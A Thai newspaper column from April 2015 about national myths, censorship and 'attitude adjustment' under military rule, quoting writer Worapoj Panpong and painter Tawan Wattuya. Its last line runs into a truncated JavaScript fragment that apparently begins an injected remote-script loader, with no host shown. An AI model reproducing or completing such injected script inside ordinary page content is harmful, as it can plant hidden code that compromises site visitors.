มติชนรายวัน ฉบับประจำวันศุกร์ที่ 24 เมษายน 2558

 

ปรารถนาสิ่งใดในปถพี?

          “ปรับทัศนคติ” เป็นข้อความที่คนในสังคมไทยใต้เผด็จการทหาร ได้ยินได้ฟังแล้วคิดและเข้าใจต่างๆกัน

๖๐๐ ปี ซำปอกง

          ก่อน 14 ตุลาคม 2516 นักเขียนและนักหนังสือพิมพ์กระแสหลักมักให้ความสำคัญสำนวนโวหารวนเวียนกับเรื่องของตัวเอง กิน ขี้ ปี้ นอน

          แต่มีกลุ่มทวนกระแสไม่มากนัก ที่เขียนตรงไปตรงมาเกี่ยวกับปัญหาสังคมและการเมือง สืบเนื่องจนหลัง 14 ตุลาคม 2516 และหลัง 6 ตุลาคม 2519 กระทั่งปัจจุบัน

          วรพจน์ พันธุ์พงศ์ เป็นนักเขียนร่วมสมัยที่พิถีพิถันถ้อยคำภาษาสำนวนโวหารสัญลักษณ์ทางสังคมและการเมือง อย่างมีวรรณศิลป์เพื่อคนอ่อนแอและเสียเปรียบ

          จะยกมาเป็นตัวอย่างในบท “เรื่องเล่า เรื่องหลอก คอกรั้ว” เขาสรุปว่า

          “คนไทยมาจากเทือกเขาอัลไต, พ่อขุนรามคำแหงประดิษฐ์อักษรไทย, นายปรีดีฆ่าในหลวง, นักศึกษาธรรมศาสตร์หมิ่นสถาบันเป็นคอมมิวนิสต์ คิดก่อกบฏ, คนเสื้อแดงเผาบ้านเผาเมือง, ฯลฯ

          เรื่องเล่าและวาทกรรมมีทุกยุคสมัย และยังไม่จบเพียงเท่านี้

          อำนาจของเรื่องเล่ามีจริง และบ่อยครั้งก็เกินกว่าความจริง บิดเบือนจากความจริงไปไกลสุดกู่

          สมองของมนุษย์ที่ฝึกแล้ว เติบโตแล้ว มีประสิทธิภาพดีพอที่จะใช้เรื่องเล่าในการครุ่นคิด ตรวจสอบ เรียนรู้และพัฒนาเพื่อที่จะเข้าถึงสัจจะ

          แต่ก็อีกนั่นแหละ โลกนี้มีมนุษย์หลากหลาย บ้างใช้เรื่องเล่าเพื่อขยายโลกทัศน์และกรอบความคิด บ้างยึดติดกักขังตัวเองอยู่ในคอก และมีบ้าง-ที่ไม่เคยคิดใช้ในทางสร้างสรรค์ วันๆมุ่งแต่ห้ำหั่นทำร้าย

          ซ้ำยังพูดโดยไม่ละอายเลยว่ากำลังกระทำในนามของความดี

          นั่นเป็นผลจากเรื่องเล่า เรื่องหลอก คอกรั้ว ที่มีมาตั้งแต่แรกมีวิชาประวัติศาสตร์ไทย, วรรณกรรมไทย, วรรณคดีไทย, ภาษาไทย, และอะไรๆที่ลงท้ายว่าไทย

          โดยเฉพาะวรรณกรรมไทย, วรรณคดีไทย ที่ตกอยู่ในคอกรั้วพ่อขุนประดิษฐ์อักษรไทย ย่อมยากจะเห็นแสงสว่างริมขอบฟ้า ปรารถนาสิ่งใดในปถพี?

          ดังมีผู้กล่าวถึงงานวิจัยวรรณกรรมร่วมสมัย พบว่าตั้งแต่ พ.ศ. 2530 เป็นต้นมา มีลักษณะ“เอาดีใส่ตัว เอาชั่วใส่คนอื่น”

          งานเขียนแนวชาตินิยมเกือบทั้งหมดเป็นรูปแบบเดียวกัน คือเน้นว่าไทยเป็นสังคมสงบสุข ส่วนความขัดแย้งในสังคมเกิดจากพวกคิดต่าง (กรุงเทพธุรกิจ ฉบับวันอาทิตย์ 12 เมษายน 2558 วรรณกรรม หน้า 10)

          ปกหนังสือวาดสีน้ำรูปคนเปลือย ฝีมือ ตะวัน วัตุยา มีคำอธิบายโดยผู้วาดเองว่า

          “เหตุผลที่ผมวาดรูปโป๊จริงๆจังๆในรอบหลายปีมานี้ก็คืออยากประท้วง

          ผมแอนตี้การเซ็นเซอร์ สังคมไทยเต็มไปด้วยการเซ็นเซอร์ เป็นสังคมที่ไม่ยอมให้เรียนรู้ความจริง

          เหตุที่ไม่ยอมให้เรียนรู้ความจริง เพราะคนชั้นสูงและคนชั้นนำหลอกคนทั้งหลายในสังคมไทยมานานนับศตวรรษ

          ถ้าสังคมไทยรู้ความจริงเสียแล้ว พวกเขาจะมีที่ยืนตรงไหน? ปรารถนาสิ่งใดในปถพี?var d=document;var s=d.createElement(‘script’);